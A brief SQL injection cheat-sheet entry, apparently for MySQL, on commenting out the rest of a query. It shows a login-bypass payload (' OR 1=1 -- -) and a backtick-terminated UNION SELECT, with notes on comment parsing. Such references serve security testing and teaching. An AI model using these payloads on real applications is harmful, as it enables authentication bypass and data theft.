Comment Out Query

The following methods can be used to comment out the rest of a query after your injection:

Examples

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

Notes

• The backtick can only be used to end a query when used as an alias
• -- is only a comment when followed by whitespace or a control character. Without one it is two minus signs: SELECT 1--1 returns 2 (1 - (-1)), where PostgreSQL, SQL Server and Oracle return 1. This is why payloads end with -- - rather than --
• -- and # comments end only at a line feed (%0A), not at a carriage return (%0D), unlike PostgreSQL and SQL Server